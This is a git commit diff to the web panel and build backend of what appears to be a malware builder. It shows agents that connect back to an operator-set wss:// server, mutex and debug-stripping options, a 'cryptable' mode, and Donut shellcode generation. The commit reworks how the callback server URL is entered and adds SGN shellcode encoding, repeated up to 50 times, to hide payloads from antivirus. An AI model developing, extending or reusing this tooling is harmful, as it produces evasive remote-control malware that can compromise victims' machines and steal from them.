oops again + more

This commit is contained in:
KingKDot
2026-05-17 13:31:47 -05:00
parent 5b64b6fb50
commit 34ff881c4e
4 changed files with 59 additions and 21 deletions
+43 -17
View File
@@ -56,22 +56,31 @@ async function loadServerVersion() {
} }
function getDefaultServerUrlPlaceholder(isRawList) { function getDefaultServerUrlPlaceholder(isRawList) {
const isHttps = window.location.protocol === "https:";
const host = window.location.host;
if (isRawList) { if (isRawList) {
const isHttps = window.location.protocol === "https:";
const host = window.location.host;
return `${isHttps ? "https" : "http"}://${host}/list.txt`; return `${isHttps ? "https" : "http"}://${host}/list.txt`;
} }
return host; return "";
}
function stripServerUrlPrefix(value) {
return String(value || "").replace(/^\s*(wss?|https?):\/\//i, "").trimStart();
}
function updateServerUrlHintMode() {
const isRaw = rawServerListCheckbox?.checked ?? false;
const normalHint = document.getElementById("server-url-hint");
const rawHint = document.getElementById("server-url-raw-hint");
if (normalHint) normalHint.classList.toggle("hidden", isRaw);
if (rawHint) rawHint.classList.toggle("hidden", !isRaw);
} }
function updateServerUrlPlaceholder() { function updateServerUrlPlaceholder() {
if (!serverUrlInput) return; if (!serverUrlInput) return;
const isRaw = rawServerListCheckbox?.checked ?? false; const isRaw = rawServerListCheckbox?.checked ?? false;
const placeholder = getDefaultServerUrlPlaceholder(isRaw); serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(isRaw);
serverUrlInput.placeholder = placeholder; updateServerUrlHintMode();
if (!serverUrlInput.value.trim()) {
serverUrlInput.value = placeholder;
}
} }
let isBuilding = false; let isBuilding = false;
@@ -174,7 +183,10 @@ function applyFormSettings(settings) {
if (el) el.checked = !!checked; if (el) el.checked = !!checked;
}); });
} }
if (settings.serverUrl !== undefined) setVal("server-url", settings.serverUrl); if (settings.serverUrl !== undefined) {
const isRaw = !!settings.rawServerList;
setVal("server-url", isRaw ? settings.serverUrl : stripServerUrlPrefix(settings.serverUrl));
}
if (settings.rawServerList !== undefined) setCb("#raw-server-list", settings.rawServerList); if (settings.rawServerList !== undefined) setCb("#raw-server-list", settings.rawServerList);
if (settings.solMemo !== undefined) setCb("#sol-memo", settings.solMemo); if (settings.solMemo !== undefined) setCb("#sol-memo", settings.solMemo);
if (settings.solAddress !== undefined) setVal("sol-address", settings.solAddress); if (settings.solAddress !== undefined) setVal("sol-address", settings.solAddress);
@@ -248,6 +260,7 @@ function applyFormSettings(settings) {
} }
if (serverUrlInput && rawServerListCheckbox) { if (serverUrlInput && rawServerListCheckbox) {
serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(rawServerListCheckbox.checked); serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(rawServerListCheckbox.checked);
updateServerUrlHintMode();
} }
applyCryptableMode(document.getElementById("cryptable-mode")?.checked || false); applyCryptableMode(document.getElementById("cryptable-mode")?.checked || false);
} }
@@ -572,19 +585,31 @@ if (rawServerListCheckbox && serverUrlInput) {
} }
if (isRaw) { if (isRaw) {
// Raw-list mode wants a real https:// URL pointing at a .txt of endpoints.
// Swap any wss:// → https:// / ws:// → http:// the user may have left over.
if (current.startsWith("wss://")) { if (current.startsWith("wss://")) {
serverUrlInput.value = "https://" + current.slice("wss://".length); serverUrlInput.value = "https://" + current.slice("wss://".length);
} else if (current.startsWith("ws://")) { } else if (current.startsWith("ws://")) {
serverUrlInput.value = "http://" + current.slice("ws://".length); serverUrlInput.value = "http://" + current.slice("ws://".length);
} }
serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(true);
} else { } else {
if (current.startsWith("https://")) { // Non-raw mode: bare domain only. The agent prepends wss:// itself.
serverUrlInput.value = "wss://" + current.slice("https://".length); serverUrlInput.value = stripServerUrlPrefix(current);
} else if (current.startsWith("http://")) { }
serverUrlInput.value = "ws://" + current.slice("http://".length); serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(isRaw);
} updateServerUrlHintMode();
serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(false); });
// Live-strip protocol prefixes in non-raw mode so the field stays clean and
// the user sees their typo corrected immediately.
serverUrlInput.addEventListener("input", () => {
if (rawServerListCheckbox.checked) return;
const before = serverUrlInput.value;
const after = stripServerUrlPrefix(before);
if (after !== before) {
const caret = Math.max(0, (serverUrlInput.selectionStart ?? after.length) - (before.length - after.length));
serverUrlInput.value = after;
try { serverUrlInput.setSelectionRange(caret, caret); } catch {}
} }
}); });
} }
@@ -1442,8 +1467,9 @@ form?.addEventListener("submit", async (e) => {
return; return;
} }
const serverUrl = form.querySelector("#server-url").value.trim();
const rawServerList = form.querySelector("#raw-server-list")?.checked || false; const rawServerList = form.querySelector("#raw-server-list")?.checked || false;
const serverUrlRaw = form.querySelector("#server-url").value.trim();
const serverUrl = rawServerList ? serverUrlRaw : stripServerUrlPrefix(serverUrlRaw);
const mutex = form.querySelector("#mutex")?.value.trim() || ""; const mutex = form.querySelector("#mutex")?.value.trim() || "";
const disableMutex = form.querySelector('input[name="disable-mutex"]')?.checked || false; const disableMutex = form.querySelector('input[name="disable-mutex"]')?.checked || false;
const stripDebug = form.querySelector('input[name="strip-debug"]').checked; const stripDebug = form.querySelector('input[name="strip-debug"]').checked;
+5 -2
View File
@@ -187,13 +187,16 @@
<div> <div>
<label class="block text-sm font-medium text-slate-300 mb-2" for="server-url">Server URL</label> <label class="block text-sm font-medium text-slate-300 mb-2" for="server-url">Server URL</label>
<input type="text" id="server-url" name="server-url" placeholder="your-server:5173" <input type="text" id="server-url" name="server-url"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors" /> class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors" />
<p id="server-url-hint" class="text-xs text-slate-500 mt-1">
Just enter your domain or IP — no <code class="text-slate-400">wss://</code>, <code class="text-slate-400">https://</code>, or any other prefix.
</p>
<label class="mt-2 flex items-center gap-2 text-xs text-slate-400"> <label class="mt-2 flex items-center gap-2 text-xs text-slate-400">
<input type="checkbox" id="raw-server-list" name="raw-server-list" class="w-4 h-4" /> <input type="checkbox" id="raw-server-list" name="raw-server-list" class="w-4 h-4" />
Use raw HTTPS server list (fetches multiple wss:// endpoints) Use raw HTTPS server list (fetches multiple wss:// endpoints)
</label> </label>
<p class="text-xs text-slate-500 mt-1"> <p id="server-url-raw-hint" class="hidden text-xs text-slate-500 mt-1">
When enabled, the URL above must be a raw HTTPS link with one wss:// endpoint per line. When enabled, the URL above must be a raw HTTPS link with one wss:// endpoint per line.
</p> </p>
<label class="mt-2 flex items-center gap-2 text-xs text-slate-400"> <label class="mt-2 flex items-center gap-2 text-xs text-slate-400">
+7 -2
View File
@@ -1238,9 +1238,14 @@ func runBoundFiles() {
const iters = Math.max(1, Math.min(50, Math.floor(config.sgnIterations ?? 1))); const iters = Math.max(1, Math.min(50, Math.floor(config.sgnIterations ?? 1)));
sendToStream({ type: "status", text: `Encoding ${platform} shellcode with SGN (×${iters})…` }); sendToStream({ type: "status", text: `Encoding ${platform} shellcode with SGN (×${iters})…` });
sendToStream({ type: "output", text: `\nEncoding shellcode with SGN (${iters} iteration${iters === 1 ? "" : "s"})...\n`, level: "info" }); sendToStream({ type: "output", text: `\nEncoding shellcode with SGN (${iters} iteration${iters === 1 ? "" : "s"})...\n`, level: "info" });
const ok = await runSgn(shellcodeBinPath, shellcodeBinPath, shellcodeArch, iters, sendToStream); const sgnOutputName = deps.sanitizeOutputName(finalOutputName + ".sgn");
const sgnOutputPath = path.join(outDir, sgnOutputName);
const ok = await runSgn(shellcodeBinPath, sgnOutputPath, shellcodeArch, iters, sendToStream);
if (!ok) throw new Error(`SGN encoding failed for ${platform}`); if (!ok) throw new Error(`SGN encoding failed for ${platform}`);
finalOutputSize = Bun.file(shellcodeBinPath).size; try { fs.unlinkSync(shellcodeBinPath); } catch {}
finalOutputName = sgnOutputName;
finalOutputSize = Bun.file(sgnOutputPath).size;
shellcodeBinPath = sgnOutputPath;
sendToStream({ type: "output", text: `SGN-encoded shellcode: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" }); sendToStream({ type: "output", text: `SGN-encoded shellcode: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" });
} }
@@ -115,6 +115,8 @@ export async function handleBuildRoutes(
useDonut, useDonut,
useLinuxShellcode, useLinuxShellcode,
shellcodeConsole, shellcodeConsole,
useSgn,
sgnIterations,
fetchPublicIP, fetchPublicIP,
} = body; } = body;
@@ -387,6 +389,8 @@ export async function handleBuildRoutes(
useDonut: !!useDonut, useDonut: !!useDonut,
useLinuxShellcode: !!useLinuxShellcode, useLinuxShellcode: !!useLinuxShellcode,
shellcodeConsole: !!shellcodeConsole, shellcodeConsole: !!shellcodeConsole,
useSgn: !!useSgn,
sgnIterations: Math.max(1, Math.min(50, Math.floor(Number(sgnIterations) || 1))),
fetchPublicIP: !!fetchPublicIP, fetchPublicIP: !!fetchPublicIP,
}).finally(() => { }).finally(() => {
if (rateLimitActive) recordBuildEnd(user.userId); if (rateLimitActive) recordBuildEnd(user.userId);